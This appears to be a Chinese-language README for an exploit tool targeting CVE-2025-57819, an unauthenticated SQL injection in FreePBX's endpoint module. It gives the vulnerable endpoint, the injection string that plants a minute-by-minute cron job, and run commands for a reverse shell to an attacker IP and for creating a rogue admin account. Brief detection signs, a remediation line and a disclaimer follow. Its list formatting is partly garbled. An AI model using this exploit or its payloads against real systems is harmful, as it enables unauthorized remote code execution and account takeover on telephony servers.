针对 CVE-2025-57819 的一体化利用工具,该漏洞是 FreePBX 端点模块中未经认证的 SQL 注入漏洞,可通过 cron 任务注入实现远程代码执行。
FreePBX 暴露了 admin/ajax.php?module=FreePBX\modules\endpoint\ajax 端点,且无需认证(CWE-288)。brand 参数在未经过滤的情况下直接传入 SQL 查询(CWE-89),使得攻击者可以向 asterisk 数据库注入任意 SQL 语句。
[未经认证的 HTTP 请求]
│
▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
│
▼
向 `cron_jobs` 表进行 SQL 注入
(插入带有攻击者控制命令的条目,调度设置为 "* * * * *")
│
▼
约 60 秒内,cron 守护进程以 `asterisk` 用户身份执行该命令
│
▼
远程代码执行
该利用工具支持三种模式:
msfvenom 生成 linux/x64/shell_reverse_tcp 二进制文件python3 cve_2025_57819_aio.py <target_url> <lhost> <lport>
示例:
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
这将使用端口 4452 进行反向 shell,端口 4453 用于 HTTP 分段服务器。
--create-user)通过 SQL 注入创建新的 FreePBX 管理员账户。无需反向 shell、无需回调、无需二进制文件。
python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
--payload <path>)使用您自己的 ELF 二进制文件,而非通过 msfvenom 生成。
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
--payload /path/to/custom_shell.elf
requests 库(pip install requests)msfvenom)或通过 --payload 提供自定义 payload--create-user 模式: 只需 Python 和 requests存在漏洞的端点为:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>
brand 参数未经过滤直接拼接到 SQL INSERT 语句中。该利用工具构造的注入内容如下:
';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --
末尾的 -- 用于注释掉原始查询的剩余部分。
FreePBX 使用 Asterisk cron 子系统。cron 任务每分钟检查一次。当插入的作业调度(* * * * *)匹配时,命令将以 asterisk 系统用户身份运行。
会话结束(或超时)后,利用工具会发送一条 DELETE SQL 注入,从 cron_jobs 表中移除注入的 cron 任务。
asterisk.cron_jobs 表中出现意外的条目,模块名/作业名为随机值asterisk 用户的反向 shell 连接ampusers 表中出现随机的新管理员账户(如果使用了 --create-user 模式)将端点模块更新至已修复的版本:
本软件仅用于教育和授权的安全测试目的。未获得系统所有者明确许可的情况下对不属于您的系统进行未经授权的使用是违法的。作者对任何滥用行为不承担责任。